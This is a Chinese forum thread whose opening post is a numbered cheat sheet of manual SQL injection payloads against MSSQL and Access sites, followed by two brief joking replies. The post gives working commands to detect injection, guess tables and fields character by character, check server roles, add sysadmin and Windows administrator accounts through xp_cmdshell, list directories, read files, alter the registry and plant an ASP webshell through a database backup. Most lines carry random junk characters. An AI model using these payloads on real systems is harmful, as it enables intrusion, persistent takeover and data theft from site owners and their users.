社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5369阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 Sw~jyUEr  
  2.初步判断是否是mssql ;and user>0 Q:$<`K4)  
!gv/jdF  
  3.注入参数是字符'and [查询条件] and ''=' F8S -H"  
8:c[_3w  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' f]H[uzsV  
bY:A7.p7#  
  5.判断数据库系统 nff&~lwhZ  
h32QEz-+  
  ;and (select count(*) from sysobjects)>0 mssql dM"Suw  
4bD^Kc 4\  
  ;and (select count(*) from msysobjects)>0 access xwG=&+66  
1euL+zeh  
q h;ahX~  
h?[3{Z^  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 5tI4m#y2  
VA*~R S  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 D. !m*oq  
NqcmjHvy  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 isK~=  
nsWenf  
  9.(1)猜字段的ascii值(access) `HXP*Bp#  
~[bS+ ]d!  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 490gW?u  
C YA#:  
  (2)猜字段的ascii值(mssql) L<bZVocOb_  
/Y:1zLs%  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pfS?:f<+6"  
^LgaMmz  
  10.测试权限结构(mssql) p#HbN#^Hy  
y\L$8BSL  
`WvNN>R  
F;p>bw  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #@xSR:m  
J9J[.6k8  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *gRg--PY%  
9 ! [oJ3  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- gAt[kW< n  
Ek\f x*Lz  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .U|e#t  
b'Cy!dr  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- OU+oS,  
QA_SS'*  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;!U`GN,tH  
fRKO> /OT  
  ;and 1=(select IS_MEMBER('db_owner'));-- MIo5Y`T  
W70J2  
gbNPD*7g9  
( XYYbP  
  11.添加mssql和系统的帐户 .-[uQtyWW  
Pe@M_ r  
  ;exec master.dbo.sp_addlogin username;-- OoOKr  
  ;exec master.dbo.sp_password null,username,password;-- A-gNfXP,D  
Ep-{Ew{T_=  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- w$Lpuu n{  
z#*M}RR  
  ;exec master.dbo.xp_cmdshell 'net user username password F, {M!dL  
SrzlR)  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- <]I[|4J 7  
pQr `$:ga  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- hY=#_r8  
V#jFjObTN  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~?&;nTwHe  
hPtSY'_@_  
CpHF3o`Z6  
h-`Jd>u"  
  12.(1)遍历目录 1GB$;0 W),  
^S!^$d*  
  ;create table dirs(paths varchar(100), id int) y05(/NH>  
+P,hT  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' tj 6 #lM9  
lVY`^pw?  
  ;and (select top 1 paths from dirs)>0 5`,qKJ  
K~**. NF-n  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) RE/'E?G  
,^,KWi9  
,aS6|~ac4  
V D+TJ` r  
  (2)遍历目录 J =o,: 3"  
Ho[Kxe[c  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- SPKGbp&  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {IEc{y7?gO  
[?u iM^&  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 v>zeK  
HHu|X`tc  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 # JHicx\8l  
0-#SvTf>;:  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 vum6O 3  
H%NP4pK  
$I&DAGV0  
0/?V _  
  13.mssql中的存储过程 YCod\}3  
HNN,1MN  
  xp_regenumvalues 注册表根键, 子键 Sz4YP l  
2Jo'!|]  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Y6L_ _ RT  
u 0KVp6`  
  xp_regread 根键,子键,键值名 6W&huIQ[  
v <1d3G=G  
  ;exec xp_regread 9:zW$Gt&  
b%<-(o/  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 K!^x+B|  
xab1`~%K  
  xp_regwrite 根键,子键, 值名, 值类型, 值 E O^j,x g  
FbB^$ ]*  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [#S[= %  
EhDKh\OY5  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Ft)7Wx" S  
gj{2" tE  
  xp_regdeletevalue 根键,子键,值名 $%9.qy\8  
dH"wYMNL  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ``?] 13XjK  
(VeX[*}I  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 e]-bB#-A  
Z{"/Ae5]  
e1a8>>bcI  
nxH+XHv  
  14.mssql的backup创建webshell |uT|(:i84,  
?pq#|PI)  
  use model .Bxv|dji  
'J(rIH3U  
  create table cmd(str image); +\~.cP7[  
.OI&Zm-  
  insert into cmd(str) values (''); 9UlR fl  
"w3#2q&  
  backup database model to disk='c:\l.asp'; {&Kck>C'  
x { Z_rD  
( <~  
,z A9*  
  15.mssql内置函数 5~GHAi  
~)Z{ Yj9)S  
  ;and (select @@version)>0 获得Windows的版本号 ;tK%Q~To  
nn'a` N  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa B->3/dp2c'  
n.+%eYM<  
  ;and (select user_name())>0 爆当前系统的连接用户 /[ _aw&W}Z  
cm`Jr#kl{  
  ;and (select db_name())>0 得到当前连接的数据库 *d%"/l^0  
^5j+O.zgN  
tf?syk+jB7  
SMX70T!'9  
  16.简洁的webshell L9(mY `d>"  
ko-|hBNv  
  use model 2d1Z;@x  
6&jW.G8/  
  create table cmd(str image); ?#N: a  
K?]><z{  
  insert into cmd(str) values (''); &>Zm gz  
*4]u?R  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五